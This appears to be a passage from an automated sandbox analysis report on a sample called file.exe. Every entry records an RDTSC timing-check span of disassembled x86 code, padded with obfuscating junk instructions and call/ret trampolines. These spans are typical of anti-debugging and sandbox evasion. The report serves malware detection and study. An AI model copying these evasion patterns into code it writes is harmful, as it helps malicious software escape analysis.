Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA43A second address: 5FA4A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007F889508B646h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F889508B64Dh 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F889508B648h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov edi, 6055AEFBh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007F889508B648h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e push 00000000h 0x00000050 cmc 0x00000051 xchg eax, ebx 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FA4A2 second address: 5FA4A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FCA40 second address: 5FCAD9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007F889508B648h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D20FCh], eax 0x0000002b jnc 00007F889508B646h 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007F889508B648h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d push 00000000h 0x0000004f jmp 00007F889508B659h 0x00000054 push eax 0x00000055 pushad 0x00000056 pushad 0x00000057 jmp 00007F889508B64Fh 0x0000005c pushad 0x0000005d popad 0x0000005e popad 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F889508B64Eh 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FD54B second address: 5FD55D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F8894B81516h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEB71 second address: 5FEB77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEB77 second address: 5FEBD4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8894B81518h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8894B8151Fh 0x00000011 pop edx 0x00000012 nop 0x00000013 mov dword ptr [ebp+1244C5DDh], eax 0x00000019 js 00007F8894B81532h 0x0000001f call 00007F8894B81525h 0x00000024 mov dword ptr [ebp+1244FB6Ah], edx 0x0000002a pop edi 0x0000002b push 00000000h 0x0000002d mov esi, dword ptr [ebp+122D3719h] 0x00000033 push 00000000h 0x00000035 mov dword ptr [ebp+1246E6E9h], ebx 0x0000003b xchg eax, ebx 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FEBD4 second address: 5FEBF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jne 00007F889508B646h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 600855 second address: 60086F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8894B81526h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 603DD8 second address: 603DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605436 second address: 605440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F8894B81516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605440 second address: 60544A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F889508B646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60544A second address: 60545A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F8894B81516h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60545A second address: 605460 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ADFB5 second address: 5ADFBF instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ADFBF second address: 5ADFF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jmp 00007F889508B64Eh 0x00000013 popad 0x00000014 jmp 00007F889508B64Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606A1F second address: 606A9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ebx 0x00000006 nop 0x00000007 jng 00007F8894B8151Ch 0x0000000d sbb edi, 293A171Eh 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F8894B81518h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000015h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f jmp 00007F8894B81521h 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push eax 0x00000039 call 00007F8894B81518h 0x0000003e pop eax 0x0000003f mov dword ptr [esp+04h], eax 0x00000043 add dword ptr [esp+04h], 00000019h 0x0000004b inc eax 0x0000004c push eax 0x0000004d ret 0x0000004e pop eax 0x0000004f ret 0x00000050 xchg eax, esi 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F8894B81526h 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606A9E second address: 606ABB instructions: 0x00000000 rdtsc 0x00000002 ja 00007F889508B652h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606ABB second address: 606AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 605C72 second address: 605C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 606C03 second address: 606C0D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608BCC second address: 608C52 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B64Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F889508B64Fh 0x0000000f nop 0x00000010 adc ebx, 4A76EAB3h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F889508B648h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 0000001Ch 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 mov ebx, dword ptr [ebp+122D37BDh] 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007F889508B648h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jmp 00007F889508B64Eh 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608D33 second address: 608D4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81521h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609CAD second address: 609CB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 608D4E second address: 608D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60AC5A second address: 60AC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F889508B64Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BA77 second address: 60BA7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BA7B second address: 60BA81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60BA81 second address: 60BA88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC2F second address: 60DC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC35 second address: 60DC45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F8894B81516h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC45 second address: 60DC49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DC49 second address: 60DCB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F8894B81518h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 push 00000000h 0x00000024 mov bx, di 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push esi 0x0000002c call 00007F8894B81518h 0x00000031 pop esi 0x00000032 mov dword ptr [esp+04h], esi 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc esi 0x0000003f push esi 0x00000040 ret 0x00000041 pop esi 0x00000042 ret 0x00000043 pushad 0x00000044 pushad 0x00000045 mov esi, edi 0x00000047 add dx, 22DAh 0x0000004c popad 0x0000004d clc 0x0000004e popad 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 jp 00007F8894B8151Ch 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FFEA second address: 60FFFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B650h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611E47 second address: 611E51 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60DEA8 second address: 60DEAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 60FFFE second address: 610035 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8894B81525h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f ja 00007F8894B81516h 0x00000015 jmp 00007F8894B81521h 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611E51 second address: 611E73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F889508B658h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 611E73 second address: 611E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610100 second address: 610104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 610104 second address: 61010A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61010A second address: 61010E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 612D5E second address: 612D7F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007F8894B81520h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 613F9D second address: 613FB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F889508B64Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61428F second address: 61429B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61429B second address: 61429F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6168EB second address: 6168F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F8894B81516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6168F5 second address: 6168F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6168F9 second address: 616913 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8894B8151Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 616913 second address: 616918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5FDDD7 second address: 5FDDDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E7CE second address: 61E7E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F889508B654h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E7E6 second address: 61E7EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E7EA second address: 61E80E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F889508B64Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F889508B64Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E80E second address: 61E812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E812 second address: 61E843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F889508B64Fh 0x0000000f jmp 00007F889508B658h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E843 second address: 61E849 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E849 second address: 61E853 instructions: 0x00000000 rdtsc 0x00000002 js 00007F889508B646h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E038 second address: 61E04E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81520h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E04E second address: 61E086 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jc 00007F889508B646h 0x00000009 pop eax 0x0000000a jmp 00007F889508B658h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 popad 0x0000001a jmp 00007F889508B64Ah 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E086 second address: 61E096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F8894B81516h 0x0000000a jbe 00007F8894B81516h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E209 second address: 61E227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F889508B659h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622B50 second address: 622BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F8894B81528h 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ecx 0x00000011 jns 00007F8894B8152Fh 0x00000017 jmp 00007F8894B81529h 0x0000001c pop ecx 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jng 00007F8894B81516h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622BA0 second address: 622BA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627B7E second address: 627B82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628717 second address: 62871D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62871D second address: 628727 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F8894B81516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628727 second address: 62872D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628880 second address: 62888A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8894B81516h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628A08 second address: 628A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F889508B653h 0x0000000f jne 00007F889508B646h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628A2B second address: 628A35 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8894B81516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628A35 second address: 628A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F889508B646h 0x00000009 jnc 00007F889508B646h 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007F889508B646h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628B74 second address: 628B7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 628B7A second address: 628B7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63504C second address: 635050 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635050 second address: 635059 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635059 second address: 63505F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63505F second address: 635066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633BF9 second address: 633BFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633D84 second address: 633DA0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F889508B646h 0x00000008 jmp 00007F889508B64Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f js 00007F889508B648h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633DA0 second address: 633DBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8894B81520h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jg 00007F8894B81530h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6341CF second address: 6341D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634793 second address: 634799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634799 second address: 63479D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63489E second address: 6348C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F8894B81529h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6348C0 second address: 6348CA instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F889508B646h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6348CA second address: 634928 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F8894B8151Bh 0x00000008 jmp 00007F8894B8151Bh 0x0000000d pop esi 0x0000000e pushad 0x0000000f jmp 00007F8894B81525h 0x00000014 jmp 00007F8894B81524h 0x00000019 jmp 00007F8894B81528h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634EC3 second address: 634EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
